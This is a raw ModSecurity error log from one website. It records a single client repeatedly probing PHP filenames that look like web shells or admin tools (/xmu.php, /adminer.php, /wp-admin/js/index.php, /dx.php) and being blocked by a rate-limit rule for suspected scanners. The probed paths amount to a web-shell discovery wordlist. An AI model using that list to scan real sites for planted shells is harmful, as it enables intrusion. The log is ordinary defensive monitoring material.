[Mon Apr 20 21:35:57.841956 2026] [:error] [pid 11351:tid 11407] [client 74.248.131.114:21748] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeYrvQN8Z1-vktaI_tMOvgAAAFQ"]
[Mon Apr 20 21:35:58.367841 2026] [:error] [pid 11494:tid 11502] [client 74.248.131.114:22380] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeYrvsgko5iFiE8YoyTrzwAAAYY"]
[Mon Apr 20 21:35:59.020038 2026] [:error] [pid 11494:tid 11514] [client 74.248.131.114:21085] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xozx.php"] [unique_id "aeYrv8gko5iFiE8YoyTr0AAAAZI"]
[Mon Apr 20 21:35:59.623100 2026] [:error] [pid 11351:tid 11391] [client 74.248.131.114:22377] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeYrvwN8Z1-vktaI_tMOwQAAAEQ"]
[Mon Apr 20 21:36:00.219152 2026] [:error] [pid 11351:tid 11387] [client 74.248.131.114:20992] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeYrwAN8Z1-vktaI_tMOxAAAAEA"]
[Mon Apr 20 21:36:00.953975 2026] [:error] [pid 11351:tid 11388] [client 74.248.131.114:21732] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeYrwAN8Z1-vktaI_tMOxgAAAEE"]
[Mon Apr 20 21:36:01.541756 2026] [:error] [pid 6928:tid 6941] [client 74.248.131.114:22998] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-Blogs.php"] [unique_id "aeYrwR3y7MHq1iB0qYq5RwAAAUs"]
[Mon Apr 20 21:36:02.285599 2026] [:error] [pid 11494:tid 11499] [client 74.248.131.114:22308] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeYrwsgko5iFiE8YoyTr1AAAAYM"]
[Mon Apr 20 21:36:03.040793 2026] [:error] [pid 11351:tid 11403] [client 74.248.131.114:22932] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeYrwwN8Z1-vktaI_tMO2QAAAFA"]
[Mon Apr 20 21:36:03.644843 2026] [:error] [pid 11351:tid 11400] [client 74.248.131.114:22337] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeYrwwN8Z1-vktaI_tMO4AAAAE0"]
[Mon Apr 20 21:36:04.325922 2026] [:error] [pid 11351:tid 11396] [client 74.248.131.114:21722] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmu.php"] [unique_id "aeYrxAN8Z1-vktaI_tMO4wAAAEk"]
[Mon Apr 20 21:36:05.128248 2026] [:error] [pid 11351:tid 11387] [client 74.248.131.114:22973] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeYrxQN8Z1-vktaI_tMO5gAAAEA"]
[Mon Apr 20 21:36:05.876327 2026] [:error] [pid 11494:tid 11519] [client 74.248.131.114:22993] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeYrxcgko5iFiE8YoyTr1QAAAZc"]
[Mon Apr 20 21:36:07.128067 2026] [:error] [pid 11350:tid 11364] [client 74.248.131.114:22272] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeYrx_4EoMBgOJuJnT3FvAAAAAU"]
[Mon Apr 20 21:36:07.706216 2026] [:error] [pid 11351:tid 11388] [client 74.248.131.114:22325] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ref.php"] [unique_id "aeYrxwN8Z1-vktaI_tMO6gAAAEE"]
[Mon Apr 20 21:36:08.830190 2026] [:error] [pid 11350:tid 11375] [client 74.248.131.114:22386] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeYryP4EoMBgOJuJnT3FvwAAABA"]
[Mon Apr 20 21:36:09.713284 2026] [:error] [pid 11351:tid 11393] [client 74.248.131.114:22353] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeYryQN8Z1-vktaI_tMO7wAAAEY"]
[Mon Apr 20 21:36:10.362172 2026] [:error] [pid 11350:tid 11360] [client 74.248.131.114:21651] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeYryv4EoMBgOJuJnT3FwQAAAAE"]
[Mon Apr 20 21:36:10.986920 2026] [:error] [pid 11350:tid 11370] [client 74.248.131.114:23035] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xme.php"] [unique_id "aeYryv4EoMBgOJuJnT3FwgAAAAs"]
[Mon Apr 20 21:36:11.595756 2026] [:error] [pid 11352:tid 11431] [client 74.248.131.114:23030] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeYry2l10mhMSfJ7ir_c1AAAAJE"]
[Mon Apr 20 21:36:12.222298 2026] [:error] [pid 11352:tid 11434] [client 74.248.131.114:23008] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeYrzGl10mhMSfJ7ir_c2AAAAJQ"]
[Mon Apr 20 21:36:12.860260 2026] [:error] [pid 11494:tid 11518] [client 74.248.131.114:22929] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeYrzMgko5iFiE8YoyTr2QAAAZY"]
[Mon Apr 20 21:36:13.410513 2026] [:error] [pid 6928:tid 6947] [client 74.248.131.114:22321] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aeYrzR3y7MHq1iB0qYq5SwAAAVE"]
[Mon Apr 20 21:36:13.939637 2026] [:error] [pid 11494:tid 11509] [client 74.248.131.114:21730] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeYrzcgko5iFiE8YoyTr3gAAAY0"]
[Mon Apr 20 21:36:14.638594 2026] [:error] [pid 11352:tid 11428] [client 74.248.131.114:22912] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeYrzml10mhMSfJ7ir_c3QAAAI4"]
[Mon Apr 20 21:36:15.305925 2026] [:error] [pid 11350:tid 11367] [client 74.248.131.114:21758] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeYrz_4EoMBgOJuJnT3FxgAAAAg"]
[Mon Apr 20 21:36:15.844982 2026] [:error] [pid 11494:tid 11498] [client 74.248.131.114:21653] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ktfow.php"] [unique_id "aeYrz8gko5iFiE8YoyTr4QAAAYI"]
[Mon Apr 20 21:36:16.549368 2026] [:error] [pid 11351:tid 11398] [client 74.248.131.114:23037] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeYr0AN8Z1-vktaI_tMO8AAAAEs"]
[Mon Apr 20 21:36:17.591727 2026] [:error] [pid 11441:tid 11461] [client 74.248.131.114:22381] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeYr0cixByFUvmh319CmOgAAANI"]
[Mon Apr 20 21:36:18.655349 2026] [:error] [pid 42014:tid 42033] [client 74.248.131.114:22359] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeYr0sek-00-ZI0f1NqGCAAAARE"]
[Mon Apr 20 21:36:19.380289 2026] [:error] [pid 11351:tid 11394] [client 74.248.131.114:21642] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeYr0wN8Z1-vktaI_tMO8QAAAEc"]
[Mon Apr 20 21:36:19.922759 2026] [:error] [pid 11350:tid 11380] [client 74.248.131.114:21705] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeYr0_4EoMBgOJuJnT3FzAAAABU"]
[Mon Apr 20 21:36:20.667131 2026] [:error] [pid 11494:tid 11503] [client 74.248.131.114:22278] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeYr1Mgko5iFiE8YoyTr6gAAAYc"]
[Mon Apr 20 21:36:21.515500 2026] [:error] [pid 11494:tid 11519] [client 74.248.131.114:21641] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeYr1cgko5iFiE8YoyTr6wAAAZc"]
[Mon Apr 20 21:36:24.256395 2026] [:error] [pid 11351:tid 11390] [client 74.248.131.114:22972] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Xx.php"] [unique_id "aeYr2AN8Z1-vktaI_tMO9wAAAEM"]
[Mon Apr 20 21:36:25.193108 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:23028] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmini.php"] [unique_id "aeYr2cgko5iFiE8YoyTr7gAAAZA"]
[Mon Apr 20 21:36:26.096023 2026] [:error] [pid 11350:tid 11361] [client 74.248.131.114:21718] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmini.php"] [unique_id "aeYr2v4EoMBgOJuJnT3F0QAAAAI"]
[Mon Apr 20 21:36:26.894422 2026] [:error] [pid 6928:tid 6934] [client 74.248.131.114:21059] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmini.php"] [unique_id "aeYr2h3y7MHq1iB0qYq5UQAAAUQ"]
[Mon Apr 20 21:36:27.874960 2026] [:error] [pid 11441:tid 11451] [client 74.248.131.114:22375] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmini.php"] [unique_id "aeYr28ixByFUvmh319CmOwAAAMg"]
[Mon Apr 20 21:36:28.448823 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:21749] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2468.php"] [unique_id "aeYr3P4EoMBgOJuJnT3F1QAAABc"]
[Mon Apr 20 21:36:29.984157 2026] [:error] [pid 11494:tid 11517] [client 74.248.131.114:22944] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2468.php"] [unique_id "aeYr3cgko5iFiE8YoyTr8wAAAZU"]
[Mon Apr 20 21:36:31.246741 2026] [:error] [pid 11494:tid 11503] [client 74.248.131.114:21663] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2468.php"] [unique_id "aeYr38gko5iFiE8YoyTr9AAAAYc"]
[Mon Apr 20 21:36:32.111487 2026] [:error] [pid 11350:tid 11364] [client 74.248.131.114:23022] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2468.php"] [unique_id "aeYr4P4EoMBgOJuJnT3F2wAAAAU"]
[Mon Apr 20 21:36:33.102048 2026] [:error] [pid 11350:tid 11376] [client 74.248.131.114:22925] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeYr4f4EoMBgOJuJnT3F3wAAABE"]
[Mon Apr 20 21:36:34.245295 2026] [:error] [pid 6928:tid 6942] [client 74.248.131.114:22969] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeYr4h3y7MHq1iB0qYq5VgAAAUw"]
[Mon Apr 20 21:36:35.121196 2026] [:error] [pid 6928:tid 6934] [client 74.248.131.114:20995] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeYr4x3y7MHq1iB0qYq5WAAAAUQ"]
[Mon Apr 20 21:36:35.799729 2026] [:error] [pid 11441:tid 11463] [client 74.248.131.114:22391] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeYr48ixByFUvmh319CmQAAAANQ"]
[Mon Apr 20 21:36:37.049537 2026] [:error] [pid 11494:tid 11516] [client 74.248.131.114:22975] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeYr5cgko5iFiE8YoyTr-QAAAZQ"]
[Mon Apr 20 21:36:37.750826 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:22294] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeYr5f4EoMBgOJuJnT3F6wAAABc"]
[Mon Apr 20 21:36:38.337693 2026] [:error] [pid 11494:tid 11500] [client 74.248.131.114:23598] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeYr5sgko5iFiE8YoyTr-gAAAYQ"]
[Mon Apr 20 21:36:38.994046 2026] [:error] [pid 6928:tid 6954] [client 74.248.131.114:22316] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeYr5h3y7MHq1iB0qYq5XAAAAVg"]
[Mon Apr 20 21:36:39.764768 2026] [:error] [pid 11351:tid 11402] [client 74.248.131.114:23639] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amdin.php"] [unique_id "aeYr5wN8Z1-vktaI_tMPBAAAAE8"]
[Mon Apr 20 21:36:40.416742 2026] [:error] [pid 11351:tid 11409] [client 74.248.131.114:22305] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amdin.php"] [unique_id "aeYr6AN8Z1-vktaI_tMPCAAAAFY"]
[Mon Apr 20 21:36:41.116001 2026] [:error] [pid 11351:tid 11390] [client 74.248.131.114:22389] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amdin.php"] [unique_id "aeYr6QN8Z1-vktaI_tMPCgAAAEM"]
[Mon Apr 20 21:36:41.703259 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:22995] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amdin.php"] [unique_id "aeYr6f4EoMBgOJuJnT3F8AAAABc"]
[Mon Apr 20 21:36:42.688436 2026] [:error] [pid 11351:tid 11399] [client 74.248.131.114:23582] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aeYr6gN8Z1-vktaI_tMPDgAAAEw"]
